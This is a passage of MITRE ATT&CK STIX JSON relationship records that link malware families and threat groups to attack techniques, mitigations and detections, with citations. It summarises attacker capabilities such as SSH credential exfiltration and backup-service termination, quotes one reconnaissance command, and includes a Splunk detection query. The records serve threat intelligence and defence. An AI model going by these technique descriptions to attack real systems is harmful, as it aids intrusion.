2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6a3f7bf-33c3-4d4c-bb27-46bd2842c750","type":"relationship","created":"2020-05-26T21:02:38.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.211Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can terminate system processes and services, some of which relate to backup software.(Citation: TrendMicro Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6a74691-5e6a-49ef-b8dc-e3d9e28fe048","created":"2019-10-11T17:48:31.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T13:28:37.417Z","description":"Limit permissions for creating new instances in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6aad2f6-4fb8-4987-a316-e7d50269a254","created":"2023-09-27T17:47:13.641Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T17:47:13.641Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can leverage Native APIs through plugins including `GetLogicalDrives`.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6ad6b38-a830-4e12-81e5-101a11517ce0","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may attempt to exfiltrate data over a different network medium than the command and control channel","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6aed3c5-9f4a-4178-b03b-5805b2f61c81","type":"relationship","created":"2019-01-29T17:59:44.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"}],"modified":"2019-04-16T20:55:20.187Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) decrypts strings in the code during the execution process.(Citation: Talos Zeus Panda Nov 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6b3936b-95ca-424f-976c-4bde55b8e8b9","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for an extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)","source_ref":"x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6b41083-5390-452d-991c-de86befbe6e1","type":"relationship","created":"2020-02-21T17:31:33.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://adsecurity.org/?p=1275","description":"Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.","source_name":"Metcalf 2015"}],"modified":"2022-03-08T21:00:52.930Z","description":"Ensure Domain Controller backups are properly secured.(Citation: Metcalf 2015)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6b509c8-0e00-48ac-b76d-f42d18a0ae51","type":"relationship","created":"2021-05-26T12:38:01.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"},{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2021-05-26T12:38:01.263Z","description":"[APT19](https://attack.mitre.org/groups/G0073) has obtained and used publicly-available tools like [Empire](https://attack.mitre.org/software/S0363).(Citation: NCSC Joint Report Public Tools)(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6b68811-113e-4f86-8096-9f506e34dda1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.633Z","description":"[Remsec](https://attack.mitre.org/software/S0125) has a plugin that can perform ARP scanning as well as port scanning.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6b6a34f-f444-42b0-9f33-3557c1deb5a7","created":"2022-08-03T14:51:13.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"},{"source_name":"O365 Blog Azure AD Device IDs","description":"Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.","url":"https://o365blog.com/post/deviceidentity/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.698Z","description":"Monitor for attempts to access files that store information about certificates and their associated private keys. For example, personal certificates for users may be stored on disk in folders such as `%APPDATA%\\Microsoft\\SystemCertificates\\My\\Certificates\\`.(Citation: SpecterOps Certified Pre Owned)(Citation: O365 Blog Azure AD Device IDs)","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6b9c4c1-3b84-4957-8533-f96a92dcab2a","type":"relationship","created":"2020-03-30T20:36:41.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}],"modified":"2020-03-30T20:36:41.205Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used HTTP over TCP ports 808 and 880 for command and control.(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6bcb612-8e5c-493e-902e-0eb92a796a81","created":"2023-09-26T18:23:50.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T20:36:33.766Z","description":"[Disco](https://attack.mitre.org/software/S1088) can use SMB to transfer files.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6bec88c-2706-404a-aca0-50036169d64f","created":"2024-07-10T18:51:56.818Z","revoked":false,"external_references":[{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-10T18:51:56.818Z","description":"(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6c6afdc-a52f-405c-8480-a4b2d2d797bf","type":"relationship","created":"2020-11-10T20:55:27.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T20:55:27.393Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) has been spread through malicious links embedded in e-mails.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb","created":"2017-05-31T21:33:27.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.707Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6cd4568-3c15-4d1d-ab2c-c799141cf34b","type":"relationship","created":"2020-05-21T17:14:56.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.909Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can use netstat and nbtstat to detect active network connections.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6ce13c0-7a23-4974-bacc-187eedd9c6da","created":"2021-02-10T21:09:24.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Windigo Mar 2014","description":"Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server‑side credential‑stealing malware campaign. Retrieved February 10, 2021.","url":"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/"},{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T17:16:52.678Z","description":"[Ebury](https://attack.mitre.org/software/S0377) exfiltrates a list of outbound and inbound SSH sessions using OpenSSH's `known_host` files and `wtmp` records. [Ebury](https://attack.mitre.org/software/S0377) can exfiltrate SSH credentials through custom DNS queries or use the command `Xcat` to send the process's ssh session's credentials to the C2 server.(Citation: ESET Windigo Mar 2014)(Citation: ESET Ebury May 2024) ","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6d80908-fa46-46b5-aee3-30d2e54edec0","type":"relationship","created":"2019-01-30T15:47:41.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.321Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) is installed as a new service on the system.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6dadc21-2dcd-41fc-a706-a08942551487","type":"relationship","created":"2022-01-05T15:22:14.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2022-01-05T15:22:14.254Z","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) has registered domains for C2 that mimicked sites of their intended targets.(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6dd2026-0c65-4a42-a306-d525bb442ab3","type":"relationship","created":"2021-03-16T14:45:10.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dormann Dangers of VHD 2019","url":"https://insights.sei.cmu.edu/cert/2019/09/the-dangers-of-vhd-and-vhdx-files.html","description":"Dormann, W. (2019, September 4). The Dangers of VHD and VHDX Files. Retrieved March 16, 2021."}],"modified":"2022-03-24T14:12:38.032Z","description":"Consider blocking container file types at web and/or email gateways. Consider unregistering container file extensions in Windows File Explorer.(Citation: Dormann Dangers of VHD 2019)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.582Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about services: net start >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6e4374e-a7c3-483a-b845-061df4c78be9","created":"2024-09-10T16:17:10.807Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:17:10.807Z","description":"Look for unusual outbound connections following abnormal process execution, as this could indicate an adversary has established a foothold and is initiating communication with C2 infrastructure.\n\nAnalytic 1 - monitors for network traffic generated by exploited processes\n\n sourcetype=network_flow OR (sourcetype=Sysmon AND EventCode=3)\n| search process_name IN (\"chrome.exe\", \"firefox.exe\", \"winword.exe\", \"excel.exe\", \"acrord32.exe\", \"flashplayer.exe\")\n| stats count by src_ip dest_ip dest_port process_name\n| where dest_ip NOT IN (\"\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6e4cb23-3c58-41d8-9583-9e10bff2b1d0","created":"2022-09-26T18:02:02.470Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T18:02:02.470Z","description":"The [FunnyDream](https://attack.mitre.org/software/S1044) FilePakMonitor component has the ability to collect files from removable devices.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6e736c1-5522-48fd-8e2c-06fef46199a8","created":"2023-03-13T21:09:29.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T19:34:43.719Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has leveraged the Microsoft Graph API to perform various actions across Azure and M365 environments. They have also utilized AADInternals PowerShell Modules to access the API (Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6e81473-84f4-40f0-b7a1-122599f801e6","created":"2023-09-08T13:08:23.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:42:40.440Z","description":"For network communications, [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) loads a dynamic library (`.dylib` file) using `dlopen()` and obtains a function pointer to execute within that shared library using `dlsym()`.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6e95c9e-0f7d-4611-a40a-95fd7ee9f206","type":"relationship","created":"2021-12-01T18:49:06.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, 